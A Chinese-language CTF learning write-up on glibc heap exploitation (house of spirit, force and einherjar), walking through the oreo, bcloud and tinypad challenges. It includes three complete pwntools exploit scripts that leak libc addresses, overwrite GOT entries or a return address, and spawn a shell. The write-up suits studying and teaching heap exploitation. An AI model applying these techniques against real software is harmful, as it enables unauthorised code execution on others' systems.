PWN学习之house of系列(一)

作者:Hcamael@知道创宇404实验室

发表时间:2018年1月31日

准备一份house of系列的学习博文,在how2heap上包括下面这些:

  • house of spirit
  • house_of_force
  • house_of_einherjar
  • house_of_orange
  • house_of_lore

house of spirit

house of spirit是fastbin的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c

我通过具体的CTF PWN题目来学习该利用方法,题目见: https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo

这题是hack.lu 2014 ctf的一道400分的32位下的PWN题,这题原本是没有给libc的,但是我搜了下网上这题的writeup,不需要libc有两种方法,一种是假设服务器上用的是最新版的libc,然后从各个发行版的系统找libc,一个一个试,另一种是使用ret2dl-resolve,这个利用方法我准备单独写一篇博文来说,而本文主要是学习house of spirit,所以就用本地的libc,假设已知libc。

漏洞点很简单,首先要能看出一个结构体:

struct rifle {
    char descript[0x19]
    char name[0x1b]
    char *pre_add
}

然后在sub_8048644函数中,大致逻辑如下:

add()
{
  rifles *v1;
  unsigned int v2;

  v1 = rifle;
  rifle = (rifles *)malloc(0x38u);
  if ( rifle )
  {
    rifle->pre_add = (int)v1;
    printf("Rifle name: ");
    fgets(rifle->name, 56, stdin);
    str_deal(rifle->name);
    printf("Rifle description: ");
    fgets(rifle->descript, 56, stdin);
    str_deal(rifle->descript);
    ++rifle_num;
  }
  else
  {
    puts("Something terrible happened!");
  }

结构体中name的长度只有0x1b,但是却能输入56长度的字符串,所以可以把后面的pre_add覆盖,或者把下一个堆进行覆盖

泄露内存

因为libc已知,程序没开PIE,所以只需要泄露libc地址,然后算出libc基地址

内存泄露利用的是sub_8048729函数,该函数的大致逻辑如下:

show_rifles()
{
  rifles *i;
  unsigned int v2;

  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = rifle; i; i = (rifles *)i->pre_add )
  {
    printf("Name: %s\n", i->name);
    printf("Description: %s\n", i);
    puts("===================================");
  }
}

rifle->pre_add是可控的,把rifle->pre_add = 0x804A258-25设置为sscanf的got表地址减去25,这样Name输出的就是sscanf_got的值,并且sscanf_got->pre_add的值为0,能让该程序继续运行而不报错

得到sscanf_got的值后,可以通过libc的偏移算出libc的基地址

使用house_of_spirit进行任意地址写

house of spirit简单的来说就是free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块

所以第一步是要构造假的堆块,在该程序中,只有一个malloc(0x38),所以要构造一个size=0x41的堆块,在.bss_804A2A0地址的order_num,和.bss_804A2A4rifle_num,一个是在free的时候自增1,一个是在rifle add的时候自增1,所以只要add 0x41次rifle,就能把rifle_num设置为0x41

chunk的size位伪造好了,现在是bypass libc对free fastbin的check,主要是会对下一个chunk的size进行check,所以不仅要伪造当前check的size,还要伪造下一个chunk的size

下一个chunk的地址是0x804A2A4+0x40=0x804a2e4,该地址是储存notice的地址,属于可控区域,代码如下:

information = (char *)&unk_804A2C0;

leave()
{
  unsigned int v0;

  printf("Enter any notice you'd like to submit with your order: ");
  fgets(information, 128, stdin);
  str_deal(information);
}

假堆块构造完成了,free了之后0x804A2A0将会加入到fastbin中,在下一次add rifle的时候malloc会返回该地址,所以0x804A2A4往下的变量都可控,这个时候我们能修改information的值,然后在leave函数会向information指向的地址写入值

这样就达到了任意地址写的目的

最终利用

能做到任意地址写,下面就很简单了,方法有很多,我使用的是重写sscanf_got地址的值为计算出的system地址

int read_action()
{
  int v1; 
  char s;
  unsigned int v3;

  do
  {
    printf("Action: ");
    fgets(&s, 32, stdin);
  }
  while ( !__isoc99_sscanf(&s, "%u", &v1) );
  return v1;
}

当输入了/bin/sh之后,会赋值给变量s,然后传给sscanf,这时候sscanf_got的值已经被改成了system的值,所以实际执行的是system("/bin/sh")

最终达成getshell的目的,payload如下:

#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"

def add(name, descrip):
    p.readuntil("Action:")
    p.sendline("1")
    p.readuntil("name:")
    p.sendline(name)
    p.readuntil("description:")
    p.sendline(descrip)

def show_rifles():
    p.readuntil("Action:")
    p.sendline("2")
    p.readuntil("Name: ")
    p.readuntil("Name: ")
    return u32(p.read(4))

def free():
    p.readuntil("Action:")
    p.sendline("3")

def leave(message):
    p.readuntil("Action:")
    p.sendline("4")
    p.readuntil("order: ")
    p.sendline(message)


sscanf_got = 0x804A258
fake_heap = 0x804A2A0
system_offset = 0x3ada0

p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY)

name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
sscanf = show_rifles()
libc_base = sscanf - 0x5c4c0
for x in xrange(0x40-1):
    add("mm", "gg")

name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8)
add(name_payload2, "uuu")
message_payload = "\x00\x00\x00\x00"*9 + p32(0x41)
leave(message_payload)
# raw_input()

free()
# raw_input()
add("name", p32(sscanf_got))
leave(p32(libc_base+system_offset))
p.sendline("/bin/sh\0")
p.interactive()

house of force

house of force是修改top chunk size的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_force.c

题目见: https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200

该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的,所以不会去检查top chunk的size值,这就导致了一种情况,当一个程序存在可以修改top chunk size的漏洞时,我们把top chunk的size修改成0xffffffff(x86)

假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020),然后对malloc申请的size进行检查,0xffe00030 < top_chunk_size,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230

然后下次我们再malloc的时候,返回的地址就是0x401238

下面,我们再通过2016年bctf的一道题目来加强对该利用方式的理解

泄露堆地址

有一个read_buffer函数:

int read_buffer(int input, int len, char a3)
{
  char buf;
  int i;

  for ( i = 0; i < len; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(input + i) = buf;
  }
  *(_BYTE *)(i + input) = 0;         // off by one
  return i;
}

在注释里也已经标出来了,该函数存在off_by_one漏洞,会溢出一个\x00

然后存在内存泄露的是需要输入username的函数:

void welcom_user()
{
  char s; // [esp+1Ch] [ebp-5Ch]
  char *v2; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  memset(&s, 0, 0x50u);
  puts("Input your name:");
  read_buffer((int)&s, 0x40, '\n');
  v2 = (char *)malloc(0x40u);
  name = (int)v2;
  strcpy(v2, &s);
  welcom((int)v2);
}

看上面的注释,计算出v2变量和s变量在栈中的距离为0x40

当我输入0x40的a时,会把变量s填充满,然后在v1的第一个字节添加字符串结尾\x00,接下来,malloc的返回值赋给v2,把\x00给覆盖掉了,所以在strcpy函数把s的值+v2的值copy到v2指向的堆中,然后在welcom函数中输出,这样获得到了堆的地址

修改top_chunk size

之后,有一个输入org和host的函数:

void sub_804884E()
{
  char org; // [esp+1Ch] [ebp-9Ch]
  char *v1; // [esp+5Ch] [ebp-5Ch]
  int host; // [esp+60h] [ebp-58h]
  char *v3; // [esp+A4h] [ebp-14h]
  unsigned int v4; // [esp+ACh] [ebp-Ch]

  memset(&org, 0, 0x90u);
  puts("Org:");
  read_buffer((int)&org, 0x40, 10);
  puts("Host:");
  read_buffer((int)&host, 0x40, 10);
  v3 = (char *)malloc(0x40u);
  v1 = (char *)malloc(0x40u);
  org_static = (int)v1;
  host_static = (int)v3;
  strcpy(v3, (const char *)&host);
  strcpy(v1, &org);
  puts("OKay! Enjoy:)");
}

该函数存在和上面user函数一样的问题,我们来看看栈布局:

然后再来看看malloc两次后的堆布局:

v1储存的是org的值,如果org中没有\x00,v1中没有\x00,strcpy将会copy org+v1+host的值到堆中去,而堆中v1的size只有0x48,所以会导致堆溢出,可以覆盖到top_chunk的size,我们将该size赋值为0xffffffff

控制malloc的返回值

int new()
{
  int result; // eax
  signed int i; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && note_list[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  v2 = get_int();
  note_list[i] = (int)malloc(v2 + 4);
  if ( !note_list[i] )
    exit(-1);
  note_length[i] = v2;
  puts("Input the content:");
  read_buffer(note_list[i], v2, 10);
  printf("Create success, the id is %d\n", i);
  result = i;
  dword_804B0E0[i] = 0;
  return result;
}

在new函数中,可以控制malloc的size大小,然后我们需要考虑控制malloc跳到哪里

int edit()
{
  int length;
  int id; // [esp+14h] [ebp-14h]
  int note; // [esp+18h] [ebp-10h]

  puts("Input the id:");
  id = get_int();
  if ( id < 0 || id > 9 )
    return puts("Invalid ID.");
  note = note_list[id];
  if ( !note )
    return puts("Note has been deleted.");
  length = note_length[id];
  dword_804B0E0[id] = 0;
  puts("Input the new content:");
  read_buffer(note, length, 10);
  return puts("Edit success.");
}

有一个edit函数,可以编辑note_list指向地址的值,所以如果我们能控制note_list的值,就可以做到任意地址修改

所以我们的目的是让下一次malloc的返回值为0x804B120,这样需要在这一次malloc后,让top_chunk=0x804B118

所以根据泄露出的heap地址计算出当前top_chunk的地址,然后再计算出本次malloc的size: 0x10804B118-top_chunk 或者 -(top_chunk-0x804B118)

泄露libc地址

按照该程序的逻辑,应该在show函数中成输出note_list指向地址的值,但是该函数的功能还未实现:

int show()
{
  return puts("WTF? Something strange happened.");
}

所以就需要想别的办法来泄露libc地址了

我使用的方法的修改free_got的值为printf的值,然后在delete函数中,free(note_list[x])note_list[x]修改成atoi_got的地址,这样就能泄露出atoi_got的值

但是因为不知道libc,所以不知道printf的值,但是因为有延时绑定,所以我们能把free_got的值修改成printf_plt+6的值

获取到libc的地址后,可以计算出system的值,然后再把atoi_got的值修改成system地址,达到getshell的目的

完整payload:

#!/usr/bin/env python2.7
# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"

def new_note(len,content):
    p.readuntil("--->>")
    p.sendline("1")
    p.readuntil("content:")
    p.sendline(str(len))
    p.readuntil("content:")
    p.sendline(content)

def edit_note(i, data):
    p.readuntil("--->>")
    p.sendline("3")
    p.readuntil("id:\n")
    p.sendline(str(i))
    p.readuntil("content:\n")
    p.sendline(data)
    p.readuntil("success.")

def delete_note(i):
    p.readuntil("--->>")
    p.sendline("4")
    p.readuntil("id:\n")
    p.sendline(str(i))

p = process("./bcloud")
e = ELF("./bcloud")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
pause()

# leak heap
p.readuntil("name:\n")
p.send("a"*0x40)
p.read(0x44)
heap = u32(p.read(4))
print "heap addr: " + hex(heap)

# modify top chunk size to 0xffffffff
p.readuntil("Org:")
p.send("a"*0x40)
p.readuntil("Host:")
p.sendline(p32(0xffffffff))
p.readuntil("Enjoy:")

# malloc return address:0x804B120
note_list = 0x804B120
new_note(0x10, "aaa")
new_note(-(heap+0xf4-0x804B120+8), "2333")

# note_list[0] = free_got
# note_list[1] = atoi_got
# note_list[2] = atoi_got
payload = p32(e.got["free"])
payload += p32(e.got["atoi"])
payload += p32(e.got["atoi"])
new_note(0x100, payload)

# write printf address to free_got
edit_note(0, p32(e.symbols["printf"]+6))

# printf(atoi_got)
delete_note(1)
atoi_libc = u32(p.read(4))
p.readuntil("success.")
libc_base = atoi_libc - libc.symbols["atoi"]
print "libc_base: " + hex(libc_base)

# calculate system address
system = libc.symbols["system"] + libc_base

# write system address to atoi_got
edit_note(2, p32(system))

# system("/bin/sh")
p.sendline("/bin/sh")
p.interactive()

house of einherjar

house of einherjar跟house of force差不多,最终目的都是控制top chunk的值,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c

题目见: https://github.com/blendin/writeups/tree/master/2016/tinypad

和house of force的区别是,通过off by one把最后一个chunk的pre_inuse标志位置零,让free函数以为上一个chunk已经被free,这就要求了最后一个chunk的size必须要是0x100的倍数,要不然会check下一个chunk失败,或者和top chunk进行合并操作的时候失败。

然后再伪造一个chunk,计算最后一个chunk到我们伪造chunk的距离,设置为最后一个chunk的pre_size位,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置到我们伪造chunk的地址。

接下来通过2016年Second ctf的一个题来加深对该利用方法的理解:

内存泄露

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )
{
    free(*(void **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
    *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] = 0LL;
    writeln((__int64)"\nDeleted.", 9LL);
}

在free了一个tinypad的时候,只把size位置零了,但是却没有把储存content的地址(tinypad[16 * (v11 - 1 + 16LL) + 8])置零

然后在每次循环的时候,都会输出四个tinypad的信息:

for ( i = 0; i <= 3; ++i )
    {
      LOBYTE(c) = i + '1';
    writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);
      write_n((__int64)" #   INDEX: ", 12LL);
      writeln((__int64)&c, 1LL);
      write_n((__int64)" # CONTENT: ", 12LL);
      if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
      {
        v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
        writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v3);
      }
      writeln((__int64)&newline, 1LL);
    }

所以我们能增加4个tinypad,都申请一个0x100左右的chunk,然后释放第1个和第3个,这样就能形成unsortbin双链表,其中一个fd指向arena区域,一个fd指向另一个chunk,这样就泄露出了libc地址和堆地址

house of einherjar利用

首先是伪造一个合法的chunk,我们发现在edit分支,能控制tinypad地址的值:

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )
        {
          c = '0';
          strcpy(tinypad, *(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
          while ( toupper(c) != 'Y' )
          {
            write_n((__int64)"CONTENT: ", 9LL);
            v6 = strlen(tinypad);
            writeln((__int64)tinypad, v6);
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            v7 = strlen(*(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
            read_until((__int64)tinypad, v7, '\n');        # 控制tinypad的值
            writeln((__int64)"Is it OK?", 9LL);
            write_n((__int64)"(Y/n)>>> ", 9LL);
            read_until((__int64)&c, 1uLL, 0xAu);
          }
          strcpy(*(char **)&tinypad[16 * (v11 - 1 + 16LL) + 8], tinypad);
          writeln((__int64)"\nEdited.", 8LL);
        }

所以我们tinypad就是我们伪造的chunk,伪造的chunk如下:

&tinypad:

刚才泄露内存已经释放了两个tinypad,还剩第二个和第四个tinypad,这个时候我释放第四个tinypad,这样第三个第四个将会和top_chunk合并

只要经过精心计算,这个时候我们再add一个tinypad,将会获得第一个tinypad(已经被释放)的堆地址,然后利用off by one漏洞:

unsigned __int64 read_until(__int64 buf, unsigned __int64 len, unsigned int end)
{
  int v4; // [rsp+Ch] [rbp-34h]
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  signed __int64 v6; // [rsp+30h] [rbp-10h]

  v4 = end;
  for ( i = 0LL; i < len; ++i )
  {
    v6 = read_n(0, buf + i, 1uLL);
    if ( v6 < 0 )
      return -1LL;
    if ( !v6 || *(char *)(buf + i) == v4 )
      break;
  }
  *(_BYTE *)(buf + i) = 0;           // off by one
  if ( i == len && *(_BYTE *)(len - 1 + buf) != 10 )
    dummyinput(v4);
  return i;
}

比如tinypad 1的大小是0xf0,我们申请一个0xe8大小的内存,就会得到tinypad 1的堆,然后可以覆盖到tinypad 2的pre_size,如果tinypad2的size位是0x101,则会被off by one漏洞设置为0x100

我们计算出tinypad2的地址,然后减去tinypad的地址,计算出offset,设置为tinypad2的pre_size和伪造chunk的size位

然后我们再free tinypad2,伪造的chunk和tinypad2将会和top chunk合并,这个时候top chunk的值为tinypad的地址

bypass Full RELRO

top chunk已经被设置到tinypad地址了,tinypad+256地址开始储存着tinypad1 2 3 4的信息,所以当我们再次malloc的时候,tinypad 1 2 3 4的size和address都已经是可控的了,可以达到任意地址读,然后edit功能可以做到任意地址写

已经能任意地址读写了,正常思路就是写got表,然后getshell,但是发现程序开启了Full RELRO保护,got表将不可写

然后考虑了FILE_IO的利用方法,但是发现该程序的IO使用的都是read和write,并没有使用stdio库,故该思路也不可行

然后发现,在libc中有一个全局变量__environ, 储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了

我使用的思路是,计算出one_gadget的地址,然后把ret __libc_start_main改写成ret one_gadget,从而达到getshell的目的。

完整Payload:

#!/usr/bin/env python2
# -*- coding=utf-8 -*-

from pwn import *


def add(p, size, content):
    p.readuntil("(CMD)>>>")
    p.sendline("a")
    p.readuntil("(SIZE)>>>")
    p.sendline(str(size))
    p.readuntil("(CONTENT)>>>")
    p.sendline(content)

def delete(p, index):
    p.readuntil("(CMD)>>>")
    p.sendline("d")
    p.readuntil("(INDEX)>>>")
    p.sendline(str(index))

def edit(p, index, content):
    p.readuntil("(CMD)>>>")
    p.sendline("e")
    p.readuntil("(INDEX)>>>")
    p.sendline(str(index)) 
    p.readuntil("(CONTENT)>>>")
    p.sendline(content)
    p.readuntil("(Y/n)>>>")
    p.sendline("y")

def main():
    # context.log_level = "debug"
    p = process("./tinypad")
    # e = ELF("./tinypad")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    # leak libc and heap address
    add(p, 224, "a"*10)
    add(p, 246, "b"*0xf0)
    add(p, 256, "c"*0xf0)
    add(p, 256, "d"*10)
    delete(p, 3)
    delete(p, 1)
    # get heap address
    p.readuntil("# CONTENT: ")
    heap = p.readline().rstrip()
    heap += "\x00"*(8-len(heap))
    heap_base = u64(heap) - 0x1f0
    print "heap_base address: " + hex(heap_base)
    # get libc address
    p.readuntil("INDEX: 3")
    p.readuntil("# CONTENT: ")
    libc_address = p.readline().strip()
    libc_address += "\x00"*(8-len(libc_address))
    libc_base = u64(libc_address) - 0x3c4b78
    print "libc_base address: " + hex(libc_base)

    # make top -> tinypad(0x602040)
    add(p, 232, "g"*224 + p64(heap_base+240-0x602040))
    delete(p, 4)
    payload = p64(0x100) + p64(heap_base+240-0x602040) + p64(0x602040)*4
    edit(p, 2, payload)
    delete(p, 2)

    # modify free_hook -> one_gadget
    gadget1 = 0xf1117
    gadget2 = 0xf0274
    gadget3 = 0xcd1c8
    gadget4 = 0xcd0f3
    gadget5 = 0x4526a
    gadget6 = 0xf66c0
    gadget_address = libc_base + gadget1
    add(p, 0xe0, "t"*0xd0)

    payload = p64(232) + p64(libc_base + libc.symbols["__environ"])
    payload += p64(232) + p64(0x602148)
    add(p, 0x100, payload)
    p.readuntil("# CONTENT: ")
    stack = p.read(6)
    stack += "\x00"*(8-len(stack))
    stack_env = u64(stack)
    print "env_stack address: " + hex(stack_env)
    # pause()
    edit(p, 2, p64(stack_env-240))
    edit(p, 1, p64(gadget_address))
    p.readuntil("(CMD)>>>")
    p.sendline("Q")
    p.interactive()
    

if __name__ == '__main__':
    main()

总结

本篇文章分析了

  • house of spirit
  • house_of_force
  • house_of_einherjar

三种利用方法,还剩两种

  • house_of_orange
  • house_of_lore

其中,house_of_lore没发现有具体的实例题目,所以暂时不做研究

house_of_orange涉及的知识点过多,所以会单独写一篇

house of系列第一次出现是Phrack2009年的杂志上,一共出现了下面几种:

  • The House of Mind
  • The House of Prime
  • The House of Spirit
  • The House of Force
  • The House of Lore

最后三种在how2heap上都有,前面两种,下次再说

参考

  1. https://github.com/shellphish/how2heap
  2. https://github.com/ctfs/write-ups-2016
  3. https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
  4. http://www.phrack.org/issues/66/10.html

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